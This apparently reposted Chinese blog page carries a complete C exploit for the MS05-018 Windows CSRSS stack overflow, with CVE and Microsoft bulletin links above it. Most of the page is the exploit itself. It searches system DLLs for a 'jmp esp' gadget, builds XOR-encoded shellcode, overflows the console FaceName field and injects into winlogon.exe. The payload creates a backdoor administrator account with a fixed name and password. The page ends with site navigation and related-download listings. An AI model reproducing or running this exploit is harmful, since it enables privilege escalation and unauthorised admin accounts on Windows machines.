`
huozheleisi
  • 浏览: 1291964 次
文章分类
社区版块
存档分类
最新评论

Microsoft Windows CSRSS Local Privilege Escalation Exploit (MS05-018)

 
阅读更多

文章整理:天天安全网 作者:佚名 发布时间:2005-09-09

漏洞资料:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0551
危险程度:中等
影响范围:Microsoft Windows 2000/XP/2003
解决办法:http://www.microsoft.com/technet/security/bulletin/ms05-018.mspx

------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment (lib,"Advapi32.lib")

typedef struct _CONSOLE_STATE_INFO {
/* 0x00 */ DWORD cbSize;
/* 0x04 */ COORD ScreenBufferSize;
/* 0x08 */ COORD WindowSize;
/* 0x0c */ POINT WindowPosition;
/* 0x14 */ COORD FontSize;
/* 0x18 */ DWORD FontFamily;
/* 0x1c */ DWORD FontWeight;
/* 0x20 */ WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;

typedef struct xxx
{
DWORD dw[6];
char cmd[0x50];
}address_and_cmd;

char decoder[]=
"/x8b/xdc"
"/xBE/x44/x59/x41/x53/x46/xBF/x44/x59/x34/x53/x47/x43/x39/x33/x75"
"/xFB/x83/xC3/x04/x80/x33/x97/x43/x39/x3B/x75/xF8/x45/x59/x41/x53";
//user=e
//pass=asd#321
char add_user[]=
"/x90/x90/x90/x90/x90/x90/x90/x8D/x7b/x98/xFF/x77/x14/x6A/x00/x68"
"/x2A/x04/x00/x00/xFF/x17/x8B/xD8/x6A/x04/x68/x00/x10/x00/x00/x68"
"/x00/x01/x00/x00/x6A/x00/x53/xFF/x57/x04/x8B/xF0/x6A/x00/x68/x00"
"/x01/x00/x00/x8D/x47/x18/x50/x56/x53/xFF/x57/x08/x33/xC0/x50/x50"
"/x56/xFF/x77/x10/x50/x50/x53/xFF/x57/x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];

char szConsoleTitle[256];

DWORD search_jmpesp()
{
char szDLL[][30] = {"ntdll.dll",
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"winsrv.dll",
"csrsrv.dll",
"basesrv.dll"};
int i,y;
BOOL done;
HMODULE h;
BYTE *ptr;
DWORD addr=0;

for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
{
done = FALSE;
h = LoadLibrary(szDLL[i]);
if(h == NULL)
continue;
printf("[+] start search /"FF E4/" in %s/n", szDLL[i]);
ptr = (BYTE *)h;
for(y = 0;!done;y++)
{
__try
{
if(ptr[y] == (BYTE)'/xFF' && ptr[y+1] == (BYTE)'/xE4')
{
addr = (int)ptr + y;
done = TRUE;
printf("[+] found /"FF E4/"(jmp esp) in %X[%s]/n", addr, szDLL[i]);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
done = TRUE;
}
}
FreeLibrary(h);
if(addr) break;
}
return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
HMODULE hKernel32;
address_and_cmd aac;
int i=0, j=0, size=0;

hKernel32 = LoadLibrary("kernel32.dll");
if(!hKernel32) return FALSE;
aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
aac.dw[5] = dwTargetPid;

memset(aac.cmd, 0, sizeof(aac.cmd));
strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add");

//encode
strcpy(sc, decoder);
for(i=0;i<sizeof(add_user);i++)
add_user[i]^=(BYTE)'/x97';
strcat(sc, add_user);
for(i=0;i<sizeof(aac);i++)
((char *)&aac)[i]^=(BYTE)'/x97';
size=strlen(sc);
memcpy(&sc[size], (char *)&aac, sizeof(aac));
size+=sizeof(aac);
sc[size]='/x0';
strcat(sc, decode_end_sign);

return TRUE;
}

void exploit(HWND hwnd, DWORD dwPid)
{
HANDLE hFile;
LPVOID lp;
int i, index;
DWORD dwJMP;
CONSOLE_STATE_INFO csi;


memset((void *)&csi, 0, sizeof(csi));
csi.cbSize = sizeof(csi);
csi.ScreenBufferSize.X = 0x0050;
csi.ScreenBufferSize.Y = 0x012c;
csi.WindowSize.X = 0x0050;
csi.WindowSize.Y=0x0019;
csi.WindowPosition.x = 0x58;
csi.WindowPosition.y = 0x58;
csi.FontSize.X = 0;
csi.FontSize.Y=0xc;
csi.FontFamily = 0x36;
csi.FontWeight = 0x190;

for(i=0;i<0x58;i++)
((char *)csi.FaceName)[i] = '/x90';
dwJMP = search_jmpesp();
if(!dwJMP)
{
printf("[-] search FF E4 failed./n");
return;
}
memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
for(i=0;i<0x20;i++)
strcat((char *)csi.FaceName, "/x90");
index = strlen((char *)csi.FaceName);

if(!make_shellcode(dwPid)) return;
memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));

hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
if(!hFile)
{
printf("[-] CreateFileMapping failed:%d/n", GetLastError());
return;
}
printf("[+] CreateFileMapping OK!/n");
lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
if(!lp)
{
printf("[-] MapViewOfFile failed:%d/n", GetLastError());
return;
}
printf("[+] MapViewOfFile OK!/n");
//copy
memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);

printf("[+] Send Exploit!/n");
SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}

void main(int argc, char **argv)
{
DWORD dwRet;
HWND hwnd = NULL;
DWORD dwPid = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe;

printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0/n"
"Affect: Windows 2000 sp3/sp4 (all language)/n"
"Coded by eyas <eyas at xfocus.org>/n"
"http://www.xfocus.net/n/n");

if(argc==2)
{
dwPid = atoi(argv[1]);
}
else
{
printf("Usage: %s pid/n/n", argv[0]);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
{
printf("[+] PID=%d Process=%s/n", pe.th32ProcessID, pe.szExeFile);
}
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle (hSnapshot);
}

if(!dwPid) return;

if(!FreeConsole())
printf("[-] FreeConsole failed:%d/n", GetLastError());
else
{
printf("[+] FreeConsole ok./n");
if(!AllocConsole())
printf("[-] AllocConsole failed:%d/n", GetLastError());
else
printf("[+] AllocConsole ok./n");
}

dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
if(dwRet)
{
printf("[+] Get Console Title OK:/"%s/"/n", szConsoleTitle);
}
else
{
printf("[-] Get Console Title failed./n");
return;
}

hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle);
if(hwnd)
printf("[+] bingo! found hwnd=%X/n", hwnd);
else
{
printf("[-] can't found hwnd!/n");
return;
}

exploit(hwnd, dwPid);
printf("[+] Done./n");
}



分享到:
评论

相关推荐

    注入CSRSS 亲测有效 不蓝屏

    【标题】:“注入CSRSS 亲测有效 不蓝屏”这一话题主要涉及到Windows操作系统中的一个技术操作,即向Client Server Runtime Subsystem (CSRSS) 进程注入代码。CSRSS是Windows NT系列操作系统的重要组成部分,它负责...

    易语言遍历CSRSS进程源码

    CSRSS(Client/Server Runtime Subsystem)是Windows操作系统中的一个关键组件,负责用户界面的管理以及与系统服务的交互。 CSRSS进程通常隐藏在后台,执行一些系统级的任务,如处理窗口消息、图形输出等。在易语言...

    易语言源码易语言遍历CSRSS进程源码.rar

    易语言源码易语言遍历CSRSS进程源码.rar 易语言源码易语言遍历CSRSS进程源码.rar 易语言源码易语言遍历CSRSS进程源码.rar 易语言源码易语言遍历CSRSS进程源码.rar 易语言源码易语言遍历CSRSS进程源码.rar ...

    E语言注入csrss无视读写

    注入CSRSS 亲测有效 不蓝屏

    Windows操作系统进程详细介绍

    - **介绍**: 用户模式Win32子系统一部分,负责维护Windows控制,管理线程,以及支持16位虚拟MS-DOS环境。 #### 4. [ddhelp.exe] - **进程文件**: ddhelp 或 ddhelp.exe - **进程名称**: DirectDrawHelper - **描述...

    csrss系统文件,必须有的

    csrss.exec系统关键进程文件,必须的,SYSTEM32目录

    Windows内部原理(十一):存储和文件系统

    在这个系列课程中,来自微软的权威技术专家将向您解释Windows操作系统的内部工作原理,从系统架构的大局观出发,逐步展示进程、线程、安全机制、内存管理和存储管理等子系统的工作方式。通过对底层原理的揭示,使您...

    易语言遍历CSRSS进程源码.zip易语言项目例子源码下载

    易语言遍历CSRSS进程源码.zip易语言项目例子源码下载易语言遍历CSRSS进程源码.zip易语言项目例子源码下载 1.合个人学习技术做项目参考 2.适合学生做毕业设计参考 3.适合小团队开发项目参考

    csrss.exe病毒专杀

    【csrss.exe病毒专杀】涉及的是计算机安全领域的一个重要话题,主要针对的是名为"csrss.exe"的恶意软件。这种病毒通常会采用多种手段来侵害用户的系统,其中包括自动播放、篡改系统时间、使卡巴斯基等知名安全软件...

    csrss.exe是什么进程?.docx

    csrss.exe 是微软客户端/服务端运行时子系统,管理 Windows 图形相关任务。这是一个非常重要的系统进程,对系统的正常运行非常重要。 csrss.exe 的主要功能是: 1. 管理 Windows 图形相关任务:csrss.exe 负责管理...

    windows的所有进程

    根据提供的文件信息,我们可以深入探讨一系列与Windows操作系统相关的进程及其功能。这些进程在Windows系统中扮演着关键角色,从提供核心服务到支持图形界面、网络通信等各个方面。 ### Windows System Process - ...

    易语言遍历CSRSS进程源码.zip

    "遍历CSRSS进程源码"这个标题揭示了我们要探讨的主题是关于使用易语言来编写程序,该程序能遍历并获取Windows操作系统中的CSRSS(Client/Server Runtime Subsystem)进程的相关信息。 CSRSS是Windows NT内核系列...

    win7,win10注入CSRSS 不蓝屏

    winXp,win7 32 , win7 64 ,win10注入CSRSS蓝屏 这是一个重要的进程,他会随系统的启动而自动开启并一直运行。在大多数情况下它是安全的,你不应该将其终止;但也有与其类似的病毒出现

    提取csrss.exe

    搞辅助用提取dump工具

    windows 常见进程列表完全解析

    ### Windows常见进程列表完全解析 #### 进程与线程概念 进程是程序在计算机上的一次执行活动。当你运行一个程序时,实际上就是在启动一个进程。程序本身是静态的,而进程则是动态的。在Windows操作系统中,进程...

    Windows 内核情景分析--采用开源代码ReactOS (上册) part01

    全书从“内存管理”、“进程”、“进程间通信”、“设备驱动”等多个方面进行分析介绍,所有的分析都有ReactOS的源代码(以及部分由微软公开的源代码)作为依据,使读者能深入理解Windows内核的方方面面,也可以使...

    csrss.exe通过远程DLL注入

    C++源代码,DLL工程的主文件。注入的代码和注入后执行的代码在一起。

    Windows任务管理器进程详解.txt

    ### Windows任务管理器进程详解 #### 一、概述 Windows任务管理器是Windows操作系统中一个非常重要的工具,它能够提供大量的系统信息,并帮助用户管理和监控正在运行的应用程序和后台进程。通过任务管理器,我们...

    windows常见进程windows常见进程

    2. csrss.exe:客户服务器运行时子系统,是Windows图形用户界面(GUI)的核心部分,处理窗口、菜单、鼠标和键盘输入等任务,确保桌面的正常运行。 3. smss.exe:会话管理器子系统,负责初始化用户会话,加载登录...

Global site tag (gtag.js) - Google Analytics